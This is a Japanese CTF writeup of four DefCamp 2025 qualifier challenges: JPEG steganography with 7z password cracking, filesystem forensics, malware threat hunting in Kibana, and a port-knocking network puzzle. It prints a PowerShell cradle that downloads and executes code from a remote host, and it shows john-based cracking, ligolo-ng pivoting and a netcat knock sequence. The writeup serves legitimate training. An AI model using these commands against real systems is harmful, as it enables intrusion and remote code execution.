DefCamp Capture the Flag (D-CTF) 2025 Quals writeup

チームで参加してた。上位10チームがルーマニアでの決勝に行ける。上位30チームはwriteupの提出が必須。ということは7チーム提出しなければルーマニアに行ける。さすがにそれはないだろう。残念。

自分は4問解いた。EasyとMediumしか解けてないのが悔しい。

[Forensics][Easy] east-granma (148 solves, 50 pt)

Investigate the wants of the most expensive club on the east coast.

Q1. What is the flag? (Points: 50)

与えられたファイルはこんな画像。

CTFで画像が与えられたらステガノを疑うということで、Aperi’Solveに突っ込む。画像部分のデータには特に何もなく、Exiftoolの出力もおかしなところは無かったが、Binwalkで7-zipデータがあるとわかる。

実際に binwalk を実行すると確かに何かある。

$ binwalk camashadefortza.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
206006        0x324B6         7-zip archive data, version 0.4

切り出して展開しようとしたところ、パスワードを求められる。

$ dd if=camashadefortza.jpg of=data.7z bs=1 skip=206006
327042+0 records in
327042+0 records out
327042 bytes (327 kB, 319 KiB) copied, 0.769518 s, 425 kB/s
$ 7z x data.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,12 CPUs Intel(R) Core(TM) i7-8700K CPU @ 3.70GHz (906EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 327042 bytes (320 KiB)

Extracting archive: data.7z

Enter password (will not be echoed):

rockyouを使ってブルートフォースしてみると、パスワードクラックに成功した。

$ 7z2john data.7z > data_7z_hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt data_7z_hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 14 for all loaded hashes
Cost 3 (compression type) is 0 for all loaded hashes
Cost 4 (data length) is 130 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
passwordpassword (data.7z)     
1g 0:00:13:50 DONE (2025-09-12 08:05) 0.001204g/s 61.06p/s 61.06c/s 61.06C/s patitos..optimusprime
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

7zファイルを展開すると beaches.001 が出てきた。

$  7z x data.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,12 CPUs Intel(R) Core(TM) i7-8700K CPU @ 3.70GHz (906EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 327042 bytes (320 KiB)

Extracting archive: data.7z

Enter password (will not be echoed):
--
Path = data.7z
Type = 7z
Physical Size = 327042
Headers Size = 226
Method = LZMA2:12m 7zAES
Solid = -
Blocks = 1

Everything is Ok

Size:       10485760
Compressed: 327042
$ ls
beaches.001  camashadefortza.jpg  data.7z

ファイルタイプを確認すると、DOSのブートセクタと出てきた。

$ file beaches.001
beaches.001: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 2048, dos < 4.0 BootSector (0), FAT (1Y bit by descriptor); NTFS, sectors/track 63, physical drive 0x80, sectors 20479, $MFT start cluster 853, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 014844777844759fe; contains bootstrap BOOTMGR

こちらのファイルにも何か隠されてるかもと思い binwalk をしてみると、大量に出てきた。

$ binwalk beaches.001

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
9998336       0x989000        JPEG image data, JFIF standard 1.01
10010624      0x98C000        JPEG image data, JFIF standard 1.01
10022912      0x98F000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10027008      0x990000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10031104      0x991000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10035200      0x992000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10039296      0x993000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10043392      0x994000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10047488      0x995000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10051584      0x996000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10057007      0x99752F        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 4bit
10067968      0x99A000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10072064      0x99B000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10104832      0x9A3000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10106547      0x9A36B3        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 4bit
10108928      0x9A4000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10113024      0x9A5000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10129408      0x9A9000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10145792      0x9AD000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10153984      0x9AF000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10169075      0x9B2AF3        bix header, header size: 64 bytes, header CRC: 0xFB655, created: 2092-06-12 05:57:38, image size: 1382593543 bytes, Data Address: 0x68E3, Entry Point: 0x7000068, data CRC: 0xFF000000, image type: Filesystem Image, compression type: none, image name: ""
10215424      0x9BE000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10219520      0x9BF000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10342400      0x9DD000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10354688      0x9E0000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10362880      0x9E2000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10366976      0x9E3000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10371072      0x9E4000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10383360      0x9E7000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10387456      0x9E8000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10391552      0x9E9000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10395648      0x9EA000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10399744      0x9EB000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10403840      0x9EC000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10407936      0x9ED000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10412032      0x9EE000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10416128      0x9EF000        Ubiquiti partition header, header size: 56 bytes, name: "PART_P~1MOD ", base address: 0x4D4F4420, data size: -128255910 bytes
10420224      0x9F0000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10424320      0x9F1000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10436608      0x9F4000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10444800      0x9F6000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10448896      0x9F7000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10452992      0x9F8000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10461184      0x9FA000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10465280      0x9FB000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10469376      0x9FC000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10473472      0x9FD000        ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)

試しに上2つの画像を切り出してみると以下の通りで、隠されたデータなどは見つからず。

結論から言うと binwalk で見えてくるものは全てrabbit hole。これが問題のクオリティを下げている。

beaches.001 をFTK Imagerで見てみると、フォルダで整理された大量のテキストファイルが見つかるが、一つだけ削除されたファイルがある。中にはフラグの情報が書かれていた。

$ echo -n ctf{; echo -n vamonos | sha256sum | cut -d ' ' -f 1 | tr -d '\n'; echo }
ctf{44ad656b71865ac4ad2e485cfbce17423e0aa0bcd9bcdf2d98a1cb1048cf4f0e}
Flag: ctf{44ad656b71865ac4ad2e485cfbce17423e0aa0bcd9bcdf2d98a1cb1048cf4f0e}

beaches.001 内のディレクトリ構造は、/エリア/店名/*.txt となっていたようで、preturi.txt に商品の価格が書かれていた。問題文の “the most expensive club on the east coast” というのがヒントになっていたのかもしれないが、フォルダ名やテキストの中身がルーマニア語で書かれていたのでわからん。

難易度Easyだったが、rabbit holeを用意している時点でEasyと言ってはいけないし質も低いと感じた。

[Forensics][Medium] forensalyze-this (144 solves, 49 pt)

Here’s some data… now it’s up to you to forensalyze this. Hidden deep inside these files are traces of activity, fragments of evidence, and digital fingerprints waiting to be uncovered.

与えられたデータはファイルシステムのイメージファイル。Ubuntuがインストールされていた模様。

Q1. What command is base64 encoded in the payload file? (Points: 7)

/home/user/.cache/.hidden/payload.b64 にBase64エンコードされたコマンドが見つかるので、これをデコードすればOK

Flag: IEX ((new-object net.webclient).downloadstring(&#039;http://10.10.10.10:80/exfil&#039;))

Q2. What is the SHA256 hash of the file being executed every 5 minutes via cron? (Points: 7)

/var/spool/cron/crontabs/root に5分おきに実行されるファイルが書かれているのでそのファイルを抽出してハッシュを取ってやればOK

Flag: 2e8eda459ca839d24b6c759e23f1fd8108da203a735077c3c85e4438318e174c

Q3. One of the image files contains embedded credentials. What is the password? (Points: 7)

/home/user/Documents/vacation_photo.jpg が実際は画像ファイルではなくテキストファイルで、中にパスワードが書かれていた。

Flag: Secret123!

Q4. What is the name of the directory containing the Git repository? (Points: 7)

.git フォルダが /home/user/Work/ にある。

Flag: Work

Q5. What is the department of Charlie Lee? (Points: 7)

/home/user/Documents/hr_records.csv に書かれていた。

Flag: Engineering

Q6. What is the user ID and group ID of the work user? (Points: 7)

このファイルシステムには /etc が無いため /etc/passwd などが存在しないが、/var/backups 以下にバックアップされたファイルが残っていたので、/var/backups/passwd.bak から work ユーザのUIDとGIDを確認できた。

Flag: 1000:1000

Q7. When did the first execution of the cron.daily job end? (Points: 7)

マウントして /var/log 内で cron.dailygrep すると情報が得られた。

$ grep -RI cron.daily *
syslog:Aug 28 12:12:35 work anacron[706]: Job `cron.daily' terminated
syslog.1:Aug 28 12:07:25 work anacron[706]: Will run job `cron.daily' in 5 min.
syslog.1:Aug 28 12:12:26 work anacron[706]: Job `cron.daily' started
syslog.1:Aug 28 12:12:26 work anacron[2084]: Updated timestamp for job `cron.daily' to 2025-08-28
Flag: 12:12:35

ファイルシステムを探検してるだけでだいたい解けるのでこっちの問題の方がEasyじゃないかな…

[Threat hunting][Medium] grandbazaar (38 solves, 192 pt)

Can you identify the threats in the Grand Bazaar of activities?

与えられたデータはDockerコンテナの情報とそのデータ。展開して docker compose up -d するとElasticsearchとKibanaが立ち上がり、それを使って分析する問題。Kibanaのポートやログインのためのuser/passは docker-compose.yml を見るとわかる。

Q1. How many alerts there exists in total in the elastic data? (Points: 7)

左のメニューから Securtiy → Alerts に行くとアラート数がわかる。なお、イベントは全て2025-08-29に発生しているためそこを含めた期間にすると全イベントを網羅できる。

Flag: 23

Q2. What are the hashes of the threats? (Points: 19)

アラートになっているプロセスの親プロセスを辿っていくと、デスクトップにある2つのファイルを起点として怪しい活動が行われていることがわかる。

これらのファイルのハッシュ値を調査すればよい(実際はファイル名がSHA256ハッシュ値だったがそれが正しいとも限らないのでちゃんと調べる)

Flag: DCTF{a31e56a60d7c9b547b1e7dfe402d7fb02789dcd117eadf59593e5401460843d4:a2254802dd387d0e0ceb61e2849a44b51879f625b89879e29592c80da9d479a2}

Q3. What is the SHA3-384 hash of the second threat? (Points: 24)

ElasticsearchにあるログにはSHA3-384のデータは記録されていないが、SHA256のハッシュ値は分かるのでそれをキーに外部データを調査する。すると、MalwareBazaarに情報があった。

Flag: DCTF{4f9c609d2f44b18b359d2e52061889302da0dca8e3d244a3e4759b5e78463a9e9fc9046d4acd3e0c7a866f0a01beff3b}

Q4. What programming language did the first malware used? (Points: 18)

この情報もElasticsearchにはないので外部情報を調査する。MalwareBazaarのページにある “Vendor Threat Intelligence” から他のサイトでの調査結果を確認できる。

CAPEの情報を確認すると、”Detect It Easy” の項目に “Packer: PyInstaller(modified)” とあり、このプログラムがPythonで書かれPyInstallerでexe化されたものとわかる。

Flag: DCTF{Python}

別解として、Filescan.ioの情報を見るとファイルアイコンがあり、PyInstallerのアイコンであるのでPythonで書かれたとわかる。

Q5. What domain did the first malware tried to contact? (Points: 20)

VirusTotalの情報にある “BEHAVIOR” からCAPE SandboxのNetwork Communicationの情報を見ると、”discord.com” にアクセスしていることがわかる。なお、CAPEではネットワークの情報は無し。

Flag: DCTF{discord.com}

Q6. How many selecting options did the first malware GUI had? (Points: 21)

どのベンダの情報でもいいが、スクリーンショットを見ると選択肢が2つあることがわかる。以下はHybrid Analysisより。

Flag: 2

Q7. What MITRE Technique did the second malware with the “legitimate” process used? (Points: 21)

久々にKibanaに戻る。2つめのマルウェア(a22548~)は svchost.exe を子プロセスとして実行しているが、このファイルのパスは C:\Users\malware\AppData\Roaming であり、Windowsの正規の svchost.exe ではない。このように、このマルウェアは正規のプロセスに偽装している。これに対応するMITRE ATT&CKのTechniqueはMasqueradingであり、Technique IDは T1036 である。

Flag: DCTF{T1036}

Q8. How many child processes did the svchost had? (Points: 15)

親プロセスが C:\Users\malware\AppData\Roaming\svchost.exe であるプロセスの数を調べればよい。

Flag: 3

Q9. What is the name of the file that is created on desktop after second malware (Points: 21)

Kibanaでデスクトップ上に対する FileCreate イベントを調査して java-attacher.jar が出てくるがこれは不正解だった。

問題文が “What is the name of the file that is created ~” と現在形になっていることから、Elasticsearchのログから調べるのではなくて公開情報から探すものと推測して調査。ANY.RUNsvchost.exe の詳細情報からデスクトップに GOATEDSIGMA というファイルを作成していることがわかる。

Flag: DCTF{GOATEDSIGMA}

Q10. What is the discord username of the hacker in the second malware behavior? (Points: 26)

同じくANY.RUNのスクリーンショットからDiscordのユーザ名がわかる。

Flag: DCTF{realba3t}

[Network][Easy] hidden-cipher (24 solves, 380 pt)

How good is your understanding of networks? In this challenge, you’ll explore the basics of how computers talk to each other. Look at the traffic, identify what’s happening, and piece together the hidden information. Use the following: ssh root@target -p port 5d6287sgagGD18G7Ubhq2

難易度詐欺。とはいえHighではなくMediumくらいだと思う。SSHで接続できるインスタンスが与えられる。IP/Portはインスタンス起動ごとに変わる。以下ではIPやポート、ホスト名が変わることがあるがそれはインスタンスが異なるため。問題文の最後の謎の文字列はパスワード。

Q1. What is the flag? (Points: 380)

SSH接続した先はUbuntuのDockerコンテナとなっており、主要なコマンドが何一つない。

$ ssh root@35.198.141.47 -p 31246
root@35.198.141.47's password:
Permission denied, please try again.
root@35.198.141.47's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.6.97+ x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Sep 13 21:35:33 2025 from 217.178.17.119
root@c-d355-c9639t-l3408-hidden-chiper-84f7d6c75d-x9952:~#

ls するとファイルが1つだけあることがわかる。

root@c-d355-c9639t-l3408-hidden-chiper-84f7d6c75d-x9952:~# ls
capture.pcap

まずはこれを scp で取得して解析。WiresharkのConversationsを見てみると、いくつかのホストと通信していることがわかる。グローバルIPはUbuntuのアップデート通信なので無視してよい。

まずローカルでの通信を見るとDNS通信で、”hidden-cipher-target” が “172.18.0.3” であることがわかる。

“hidden-cipher-target” ということなのでここに対する通信を詳しく見ていく。

以下の通信が行われていた。

  1. 4321/udp に hi を送信。応答は無し。
  2. 1234/tcp に接続。即切断。
  3. 5432/udp に hi を送信。応答は無し。
  4. 2345/tcp に接続。即切断。
  5. 9999/tcp に接続。即切断。

TCPオプションなどで変なデータが埋め込まれていたりしないかと見てみたがそういうものは無し。

pcapファイルの調査から他のコンピュータに対しての通信を発生させなければならない可能性があるが、ほとんどのコマンドが使えないためligolo-ngでPivotingすることにした。PivotingについてはOffensive Security Articles Vol.3で書いたので気になる人は見てほしい。

エージェントは scp で送り込んで実行。サーバ側はNATの中なのでngrokを使ってインターネットからアクセス可能にした。

eth0 の情報を見ると /32 となっており、ネットワーク内に他にホストが無いことがわかる。

SSHホストのみで何かをしなければならないため、今度はホスト内を調査。コマンドは使えないがLinuxなので /proc/net を見れば何かわかるだろうと探索。

root@c-d355-c9639t-l3408-hidden-chiper-84f7d6c75d-kcmnj:/proc/net# cat tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0929 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 635718 1 0000000000000000 100 0 0 10 0                    
   1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 637714 1 0000000000000000 100 0 0 10 0                    
   2: 00000000:270F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 636680 1 0000000000000000 100 0 0 10 0                    
   3: 00000000:04D2 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 635715 1 0000000000000000 100 0 0 10 0                    
   4: 3701240A:0016 7711B2D9:A030 01 000001DC:00000000 01:0000002C 00000000     0        0 830554 4 0000000000000000 44 4 29 7 7                     
   5: 3701240A:B946 EEB9B439:2DBA 01 00000000:00000000 02:0000024D 00000000     0        0 813335 2 0000000000000000 44 4 31 10 -1                   
   6: 3701240A:0016 7711B2D9:4C25 01 00000000:00000000 02:00004562 00000000     0        0 804951 2 0000000000000000 45 4 30 10 -1                   
   7: 3701240A:0016 C60CDA7E:D18D 01 00000000:00000000 02:00000000 00000000     0        0 780464 2 0000000000000000 45 4 1 10 16
root@c-d355-c9639t-l3408-hidden-chiper-84f7d6c75d-kcmnj:/proc/net# cat udp
   sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode ref pointer drops            
 3006: 00000000:10E1 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 635714 2 0000000000000000 0        
 4117: 00000000:1538 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 635717 2 0000000000000000 0 

TCPとUDPのテーブルを見ると、TCPでは22, 1234, 2345, 9999番ポートで待ち受けており、UDPでは4321, 5432番ポートで待ち受けていることがわかる。22番を除くと capture.pcap で確認した hidden-cipher-target に対する通信の宛先ポートと一致している。

それぞれ通信を試みてみるも、UDPに対する応答は無く、TCP接続は確立後即切断されてしまう。

ここで、knockd という言葉が浮かび、capture.pcap にある通りの順番で通信してみることにした。

┌──(kali㉿kali)-[~]
└─$ echo -n hi | nc -u -w 2 10.36.1.55 4321; nc 10.36.1.55 1234; echo -n hi | nc -u -w 2 10.36.1.55 5432; nc 10.36.1.55 2345; nc 10.36.1.55 9999

TCPのテーブルを再度確認してみると、新たに4000番ポートが開いていた。

root@c-d355-c9639t-l3408-hidden-chiper-84f7d6c75d-kcmnj:/proc/net# cat tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0929 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 635718 1 0000000000000000 100 0 0 10 0                    
   1: 00000000:0FA0 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 972471 1 0000000000000000 100 0 0 10 0                    
   2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 637714 1 0000000000000000 100 0 0 10 0                    
   3: 00000000:270F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 636680 1 0000000000000000 100 0 0 10 0                    
   4: 00000000:04D2 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 635715 1 0000000000000000 100 0 0 10 0                    
   5: 3701240A:270F 3701240A:9208 06 00000000:00000000 03:000011D4 00000000     0        0 0 3 0000000000000000                                      
   6: 3701240A:0016 7711B2D9:A030 01 00000034:00000000 01:0000002C 00000000     0        0 830554 4 0000000000000000 44 4 31 7 7                     
   7: 3701240A:0929 3701240A:ADC8 06 00000000:00000000 03:000011B4 00000000     0        0 0 3 0000000000000000                                      
   8: 3701240A:0016 86D441CF:DC90 01 00000000:00000000 02:00000E31 00000000     0        0 873760 2 0000000000000000 44 4 31 10 -1                   
   9: 3701240A:B946 EEB9B439:2DBA 01 00000000:00000000 02:00000060 00000000     0        0 813335 2 0000000000000000 43 4 26 12 -1                   
  10: 3701240A:04D2 3701240A:868C 06 00000000:00000000 03:00001000 00000000     0        0 0 3 0000000000000000                                      
  11: 3701240A:0016 7711B2D9:4C25 01 00000000:00000000 02:000004C6 00000000     0        3 804951 2 0000000000000000 45 4 30 10 -1                   
  12: 3701240A:0016 C60CDA7E:D18D 01 00000000:00000000 02:00000323 00000000     0        0 780464 2 0000000000000000 45 4 1 53 33         

4000番ポートにアクセスしてみるとHTTPサーバが動いているようだったので curl でアクセスしてみたところフラグを獲得。

┌──(kali㉿kali)-[~]
└─$ nc 10.36.1.55 4000                  
hi
&lt;!DOCTYPE HTML>
&lt;html lang="en">
    &lt;head>
        &lt;meta charset="utf-8">
        &lt;title>Error response&lt;/title>
    &lt;/head>
    &lt;body>
        &lt;h1>Error response&lt;/h1>
        &lt;p>Error code: 400&lt;/p>
        &lt;p>Message: Bad request syntax ('hi').&lt;/p>
        &lt;p>Error code explanation: 400 - Bad request syntax or unsupported method.&lt;/p>
    &lt;/body>
&lt;/html>
                                                                                                                      
┌──(kali㉿kali)-[~]
└─$ curl 10.36.1.55 4000
curl: (7) Failed to connect to 10.36.1.55 port 80 after 306 ms: Could not connect to server
^C
                                                                                                                      
┌──(kali㉿kali)-[~]
└─$ curl 10.36.1.55:4000
ctf{3f476bbefba34d117a3f11275797d5249ae0cf9dfbd4b51047cc54423883e92e}
Flag: ctf{3f476bbefba34d117a3f11275797d5249ae0cf9dfbd4b51047cc54423883e92e}

Dockerコンテナでなければもう少し難易度は低かったのかと思う。今は確認できないが、もしかしたら /dev/tcp/{IP}/{Port} へのリダイレクトで何とか出来たのかもしれない。

おわりに

点数から考えると、高1問、中1問、低2問といったところでそれなりに貢献できてよかった。ルーマニア行けるといいな。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

このサイトはスパムを低減するために Akismet を使っています。コメントデータの処理方法の詳細はこちらをご覧ください